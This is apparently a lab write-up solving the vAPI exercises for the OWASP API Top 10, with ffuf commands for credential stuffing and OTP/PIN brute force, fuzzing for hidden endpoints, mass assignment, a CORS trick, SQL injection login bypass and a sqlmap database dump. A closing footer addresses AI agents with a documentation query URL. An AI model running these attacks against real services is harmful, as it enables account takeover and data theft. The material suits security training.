# vAPI ## ABOUT vAPI (vulnerable Adversely Programmed Interface) is a self-hostable API that mimics OWASP top 10 API 2019 security risks scenarios through exercises. ## LAB SETUP The lab used to solve the exercise is composed of an Ubuntu 22.04.2 LTS (Jammy Jellyfish) server (IP address 10.1.1.11) hosting the vAPI application on port 8008, and a Kali attacking machine (IP address 10.1.1.22). The vAPI web site is available at , and the documentation at

The exercise has been solved using Postman, Burpsuite and `ffuf` ## KEYWORDS API, OWASP top 10 API, Postman, BOLA, mass assignment, excessive data exposure. ## REFERENCES ## API1. BOLA (Broken Object Level Authentication) Similar to IDOR in the web applications context, BOLA vulnerabilities are related to API endpoints that receives an ID of an object, and fail to validate if the user is authorized to access or to perform the requested action on the requested object. In Postman, create a new user `user8:password` by sending a POST request to `/vapi/api1/user`. The user ID is returned in case it is successfully created.

The user's data is retrieved by sending a GET request with user ID and an authentication token. According to vAPI documentation, the authentication token is generated encoding base64 the string `username:password` In our case, the authentication token is: ```bash > echo -n "user8:password" | base64 dXNlcjg6cGFzc3dvcmQ= ``` Let's check if the authentication token works. Placing it in the request headers we successfully retrieve user details.

As said before, the application would be vulnerable to BOLA if we could retrieve any user data just by changing the user ID. We verify that if we try querying user ID 1 we retrieve data for user Michael Scott.

The flag appears in the returned data. ## API2. BROKEN USER AUTHENTICATION Broken authentication vulnerabilities are related to applications that fail to implement protection mechanisms against authentication attacks. Examples of vulnerable applications are those that allow credential stuffing or brute force attack on the same user account, those that fail to implement protection mechanisms such as captcha/account lockout, those that allow weak passwords, those that send authentication tokens and clear passwords in the URL or those that does not validate the authenticity of tokens and accepts unsigned/weakly signed JWT tokens (`"alg":"none"`). According to documentation, there is some useful information in the `vapi/Resources` directory. In fact, in the location `/vapi/Resources/API2_CredentialStuffing` there is a list of possible credential pairs username/password. We can create two separate wordlists of users and passwords from it. ```bash > cat API2_CredentialStuffing | cut -d',' -f 1 > usernames > cat API2_CredentialStuffing | cut -d',' -f 2 > passwords ``` In order to launch a credential stuffing attack, we could use Burpsuite's intruder or `ffuf` (normally faster). To launch an attack with `ffuf`, first we capture a POST request to endpoint `/vapi/api2/user/login` and modify it adding a random credential of the list, we send it and let it fail (it returns 401 unauthorized login unsuccessful).

Right-click on the request and save to file `request.txt`, then modify it with a text editor to mark the fields to be fuzzed `FUZZEMAIL` and `FUZZPASSWORD` {% code overflow="wrap" %} ```http POST /vapi/api2/user/login HTTP/1.1 Host: 10.1.1.11:8008 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Cookie: language=en; welcomebanner_status=dismiss; XSRF-TOKEN=eyJpdiI6IlV0MjdTRjVYbW5YMFFOb2RSWStralE9PSIsInZhbHVlIjoiaVkrY1pjOE9VdDlTUjB4cTVWdnBzTG54dTQ4d1VXYUVUdEF3ZXc3cEpXeU9obVVrTENDVWJ6M0dsMmYwYXlhNHF5RExLTnpJbTN0OTNiWWNYT1ZVNWZVbUovUlVKRkJ6YzF2KytLNDFTKzY5MXBYU2Q4WGFKSnUxOEV3T0FoeXgiLCJtYWMiOiJjYjc1ZWM5NDUyNWU3ODI1MWM1ZWYyYzczOGYwZjM1NDBmZmZiNGQ0N2I1NjhmODNjYWM3ZDk3YmFiMGU1MDc4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkVENXYvMVFpZUlKUjJNdFZITnZYcmc9PSIsInZhbHVlIjoiTzBxdGJJTTVkaUJveGFaV1BSb05aSjYxZi9HVzMzcVBzTE1qczFzbHpxZ1pQNzBQMnV6akxhR1BxYURuZytWSVJ5ZnJxUktZWkdOUDMwajZLNlBxNkxsa3VFaW5TcjBJVSszMmxXbytQZWNSdyttc0JTYVgza1lGQzlxZG5PZmEiLCJtYWMiOiIwOTM0NjBlMmJiYmY2MWMxODhhYTY1YjEwYTk3ZjIxYzU4ZjY0YzcxN2NmMmM0YzYwZTc1OGRjZTgzNTIzNDEyIiwidGFnIjoiIn0%3D Upgrade-Insecure-Requests: 1 Content-Length: 54 Content-Type: application/json;charset=UTF-8 { "email":"FUZZEMAIL", "password":"FUZZPASSWORD" } ``` {% endcode %} Now launch a pitchfork attack (credential stuffing) with `ffuf`. It combines first username with first password of each wordlist, second username with second password, third with third, and so on. {% code overflow="wrap" %} ```bash > ffuf -c -request request.txt -request-proto http -t 100 -fc 401 -w ./usernames:FUZZEMAIL -w ./passwords:FUZZPASSWORD -mode pitchfork ``` {% endcode %} The attack reports 3 successful credentials (code: 200). ```bash [Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 8528ms] * FUZZEMAIL: savanna48@ortiz.com * FUZZPASSWORD: zTyBwV/9 [Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 8336ms] * FUZZEMAIL: hauck.aletha@yahoo.com * FUZZPASSWORD: kU-wDE7r [Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 8425ms] * FUZZEMAIL: harber.leif@beatty.info * FUZZPASSWORD: kU-wDE7r ```

Next step is to test this credential on the `/vapi/api2/user/login` endpoint using a POST request. Logging in with `hauck.aletha@yahoo.com:kU-wDE7r` we receive a successful login message, along with a token.

Finally, we send this token to the `/vapi/api2/user/details` endpoint.

The flag appears in the application response. ## API3. EXCESSIVE DATA EXPOSURE Sometimes, API's are designed in such a way that they return sensitive data to the client, trusting that the client side developers will implement appropriate filters when presenting information to the user. However, an attacker can easily sniff the traffic and see the sensitive data. Download and install the APK. For this write-up an android-x86 virtual machine running on Virtual Box has been used, Android Studio could also be used. Once installed, run the application and configure your vAPI server.

Create a new user and login. An application to post comments and replies comes into view.

Following the OWASP premises for this vulnerability, the API should be leaking user parameters that APK developer is filtering when presenting the comments to the user. There are 2 methods to discover the information leaked by the endpoint depending on the Android virtual machine configuration used: * If you use Android Studio Android, it can be configured to use Burpsuite as a proxy. Add a comment and capture the HTTP response. * If using Android-x86 + Virtual Box, Burpsuite cannot be configured as a proxy. The alternative is to discover the endpoint used by the android app to manage comments and interact directly with it. Since we are using Android-x86, we will follow the second option. For this, we fuzz for hidden endpoints in API3 and discover a hidden endpoint called `/vapi/api3/comment` {% code overflow="wrap" %} ```bash > ffuf -c -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/api/objects.txt -t 100 -fc 500 -u http://10.1.1.11:8008/vapi/api3/FUZZ ``` {% endcode %}

Simulating what the android app does, we query it with a GET request and see what information is leaked.

The flag appears in one of the parameters returned, therefore, we verify the endpoint is leaking unnecessary information, which is later filtered by the app developers. ## API4. LACK OF RESOURCES & RATE LIMITING Applications that do not limit the resources (network, CPU, memory, and storage) assigned to each client request are vulnerable to attacks where the user can send many results in shorts periods of time, and containing payloads of arbitrary size. Sending a POST request to the `/vapi/api4/login` endpoint initiates an OTP-based login process. A 4-digit OTP is supposed to be sent to the indicated mobile phone.

Another endpoint `/vapi/api4/login` is used to verify the OTP by means of a POST request containing the received code.

Notice the OTP's are only 4-digit, so in theory they could be bruteforced if the application does not block massive amounts of user requests. This could be done with Burpsuite's intruder or `ffuf` (faster). Same as before, capture a request with Burpsuite, and save to a `request.txt` file.

Using a text editor, mark the field to bruteforce with the text `FUZZ` {% code overflow="wrap" %} ```http POST /vapi/api4/otp/verify HTTP/1.1 Host: 10.1.1.11:8008 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Cookie: language=en; welcomebanner_status=dismiss Upgrade-Insecure-Requests: 1 Content-Length: 20 Content-Type: application/json;charset=UTF-8 { "otp": "FUZZ" } ``` {% endcode %} Next step is to generate a wordlist called `seq` of 9999 OTP's and launch the attack. ```bash > ffuf -c -request request.txt -request-proto http -t 100 -fc 403 -w ./seq ``` The OTP found is 1872.

Next step is to verify the validity of the OTP by means of a GET request sent to the endpoint `/vapi/api4/otp/verify`

The bruteforced OTP is valid and an authentication token is received. Final step is to use the token to disclose user information on the `/vapi/api4/user` endpoint.

The flag appears in the HTTP response. ## API5. BFLA (Broken Function Level Authentication) Applications vulnerable to BFLA are those that fail to verify if the user is authorized to perform certain actions on specific endpoints. For example, regular authenticated users may have access to restricted actions by simply changing the HTTP method (e.g., from GET to DELETE) or by simply guessing the endpoint URL and parameters (e.g., guess the endpoint `/api/v1/admin` from `/api/v1/users`). Whereas BOLA is related to authorization at an object level (e.g. ID's), BFLA is related to authorization issues at a function level (e.g. PUT, DELETE, POST or just changing the URL endpoint from `users` to `admin`). POST a request to `/vapi/api5/user` to create a new user.

A GET request sent to `/vapi/api5/user/10` allows us to retrieve the user details (10 is the ID we received when creating the user). This endpoint requires an authorization token, if we remember from API1, it is generated encoding base64 the string `username:password` ```bash > echo -n 'bob:password' | base64 Ym9iOnBhc3N3b3Jk ``` Using this token we can query the user we have just created.

Now, to exploit the BFLA vulnerability, we can either abuse a known endpoint using a method we are not supposed to have access to, or find hidden endpoints which are not supposed to be exposed to us (e.g. send requests to `/v1/admin` when we are supposed to have access only to `/v1/users`). To find hidden endpoints, we use `ffuf` again. {% code overflow="wrap" %} ```bash > ffuf -c -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/api/api-endpoints-res.txt -t 100 -fc 500 -u http://10.1.1.11:8008/vapi/api5/FUZZ ``` {% endcode %} Which returns a hidden endpoint called `/vapi/api5/users`

This is a hidden endpoint we are not supposed to have access to, since it returns a list of all the users of the database. Moreover, if we send a GET request to it, the endpoint fails to perform function-level authorization checks, since just providing token for `user3` the complete list of users is returned.

The flag appears in the HTTP response. ## API6. MASS ASSIGNMENT Vulnerable applications allow users to update critical parameters directly, they automatically converts client parameters into internal object properties without considering the sensitivity and the exposure level of these properties. For example, when creating an account, a client should be able to exclusively update the username and password by means of a POST request. On the other hand, the client shouldn't be able to manipulate other parameter such as `isAdmin` or similar parameters which may be used by the application to determine the privilege level of the user. Let's create a new user sending a post to endpoint `/vapi/api6/user`

This user can be queried later with a GET request to endpoint `/vapi/api6/user/me`, just adding the authorization token in the header. As always, this is generated encoding base64 the string `username:password` ```bash > echo -n 'test:password' | base64 dGVzdDpwYXNzd29yZA== ```

Notice the application leaks all the parameters of the user, including a previously unknown parameter called `credit`. A mass assignment vulnerability allows attackers to update all user parameters automatically and without considering the sensitivity of each one. Let's try to create a new user and assign him any credits we want; for example, 10000 credits.

It seems the application accepted the request. We will verify this by querying the new user data. First, generate the token for the new user. ```bash > echo -n 'test2:password' | base64 dGVzdDI6cGFzc3dvcmQ= ``` Now, query the endpoint for user `test2` and inspect the output.

In fact, the application updated all the parameter, including the `credit` one. The flag appears in the HTTP response. ## API7. SECURITY MISCONFIGURATION The API is vulnerable if appropriate security hardening is missing or improperly configured. Examples of security misconfigurations include: important security patches are missing, unnecessary features are enabled (e.g., HTTP verbs) or necessary ones are disabled (TLS, HTTPS, CORS policy). POST a request to endpoint `/vapi/api7/user` to create a new user.

Generate an authentication token. ```bash > echo -n 'alice:password' | base64 YWxpY2U6cGFzc3dvcmQ= ``` Send a GET request to endpoint `/vapi/api7/user/login` to login with this user.

Take note of the `phpessid` cookie, it will be used in the next request. Notice the documentation says something about a CORS vulnerability, these are exploited abusing the `Origin: header` We will prepare an HTTP request in Postman. For this, first add the `phpessid` cookie.

Then, to exploit the CORS vulnerability we add a new `Origin:` header with an URL, no matter which one, and send the request.

The flag appears in the HTTP response. ## API8. INJECTION When the API does not sanitize, filter or validate the user's input, it may be vulnerable to injection. After some trial and error, a functional injection is found in the endpoint `/vapi/api8/user/login`

A basic SQLi is enough to bypass login and receive an authentication token.

And using this token in a GET request to endpoint `/vapi/api8/user/secret`, the application dumps the flag.

If you want to play a bit more with this vulnerability, you can intercept a request with Burpsuite, save to file, and pass it to `sqlmap`. It will dump the entire application database (the API8 flag is in the table `a_p_i8_users`). ```bash > sqlmap -r request.txt --dbms=mysql --dump ```

## API9. IMPROPER ASSETS MANAGEMENT This vulnerability is related to outdated features still running in production environments due to a misconfiguration or because there is no plan for retirement or patching. For example, if a new `/V2` endpoint implementing new security features is already in production, it is advisable that older outdated `/V1` endpoints are retired or patched, or at least there is a retirement plan to do so. Test the `/V2` endpoint with a post request to `/vapi/api9/v2/user/login`

A status code 200 is received; however, no authentication message is returned. It seems we need a valid PIN to login, since it is only 4-digits, we will try to bruteforce it with `ffuf`. As in previous steps, intercept an save a POST request and save to a text file. In the request file, mark as `FUZZ` the PIN field to be bruteforced by `ffuf` {% code overflow="wrap" %} ```http POST /vapi/api9/v2/user/login HTTP/1.1 Host: 10.1.1.11:8008 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Cookie: language=en; welcomebanner_status=dismiss; XSRF-TOKEN=eyJpdiI6Ikh0TDNDU0V1VC9HaXFoVENhRDFRYXc9PSIsInZhbHVlIjoianBSSTFIa0gxMmQrREI4cWtnVUo0QmN4eU5Tamk1V1BDOWN5UkVQcmRPeldoenZidzNjYTBOdExTVytsU2E5L1Y5eSs1cEh2SHA4MjdwWEVXaVBQV2s4K1BjMTMySkNnQnV6VndwSlBYMUNpT0xhbkl4QlZrb1N0bCtGcnlCb0oiLCJtYWMiOiJjYWE5NTg4ZWEwMjQzN2Q0ZjM5MzNhMjNlZDhkOWI0MmFhNTc4NTJmOTdiMjQxMWE0YmQzYjI1NTc5NTYwMzNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im90aHQrZkNlQmJkSTduUTZ3OTJaL1E9PSIsInZhbHVlIjoiU3FzY3duNE5xMzBMWGZnNG5HbTRuNTQ4TGc5SzM2QlFNUTZsdlc5Q09GYm1vZnNzV0YrZ1BubWcxNHc3NHp3Y2VJbEZJTndhOGhFcXNIQUFhNEI1YkpuUThYQXpDOFNJampTbUZkNDViam9pSWQrWGpHS3lOZW9XVXhzaERuclgiLCJtYWMiOiIxZWU2MTNhNDIxNGE2OTI4NmViMDFkOTFhYzczZTQzNjdhYjFlZjBiZDI2YjEyM2IyZGEwOWQ3ZjBiYmE5MDJiIiwidGFnIjoiIn0%3D Upgrade-Insecure-Requests: 1 Content-Length: 54 Content-Type: application/json;charset=UTF-8 { "username": "richardbranson", "pin": "FUZZ" } ``` {% endcode %} Generate a wordlist of possible PIN codes (from 0000 to 9999) and save the file as `seq`, then launch the `ffuf` attack. ```bash > ffuf -request request.txt -c -w ./seq -t 100 -request-proto http ``` Shortly after, we begin receiving status 500 codes, meaning the server is somehow detecting and blocking bruteforce attacks.

It seems bruteforce protections have been implemented in the `/V2` endpoint. However, maybe there is an outdated `/V1` endpoint still in place which does not provide any protection. Check if `/V1` endpoint is still present in the host.

We receive a status code 200, meaning the `/V1` endpoint has not been retired after entry into service of `/V2`. We will try to repeat the bruteforce process for the `/V1` endpoint. Modify the `request.txt` file to point to the `/V1` endpoint. {% code overflow="wrap" %} ```http POST /vapi/api9/v1/user/login HTTP/1.1 Host: 10.1.1.11:8008 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Cookie: language=en; welcomebanner_status=dismiss; XSRF-TOKEN=eyJpdiI6Ikh0TDNDU0V1VC9HaXFoVENhRDFRYXc9PSIsInZhbHVlIjoianBSSTFIa0gxMmQrREI4cWtnVUo0QmN4eU5Tamk1V1BDOWN5UkVQcmRPeldoenZidzNjYTBOdExTVytsU2E5L1Y5eSs1cEh2SHA4MjdwWEVXaVBQV2s4K1BjMTMySkNnQnV6VndwSlBYMUNpT0xhbkl4QlZrb1N0bCtGcnlCb0oiLCJtYWMiOiJjYWE5NTg4ZWEwMjQzN2Q0ZjM5MzNhMjNlZDhkOWI0MmFhNTc4NTJmOTdiMjQxMWE0YmQzYjI1NTc5NTYwMzNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im90aHQrZkNlQmJkSTduUTZ3OTJaL1E9PSIsInZhbHVlIjoiU3FzY3duNE5xMzBMWGZnNG5HbTRuNTQ4TGc5SzM2QlFNUTZsdlc5Q09GYm1vZnNzV0YrZ1BubWcxNHc3NHp3Y2VJbEZJTndhOGhFcXNIQUFhNEI1YkpuUThYQXpDOFNJampTbUZkNDViam9pSWQrWGpHS3lOZW9XVXhzaERuclgiLCJtYWMiOiIxZWU2MTNhNDIxNGE2OTI4NmViMDFkOTFhYzczZTQzNjdhYjFlZjBiZDI2YjEyM2IyZGEwOWQ3ZjBiYmE5MDJiIiwidGFnIjoiIn0%3D Upgrade-Insecure-Requests: 1 Content-Length: 54 Content-Type: application/json;charset=UTF-8 { "username": "richardbranson", "pin": "FUZZ" } ``` {% endcode %} And re-launch the attack with `ffuf`, filtering requests with size 0. ```bash > ffuf -request request.txt -c -w ./seq -t 100 -fs 0 -request-proto http ``` This time we find a working PIN 1655 returning status 200. So it seems the bruteforce protection was not implemented in `/V1` endpoint.

All that's left is logging in using PIN 1655.

The flag appears in the HTTP response. ## API10. INSUFFICIENT LOGGING & MONITORING Vulnerable applications does not produce any logs, or the logging level is not set correctly, or log messages do not include enough detail. Just query the endpoint, the flag will be returned. Nothing was logged!

--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://allthewriteups.gitbook.io/book/api/vapi.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.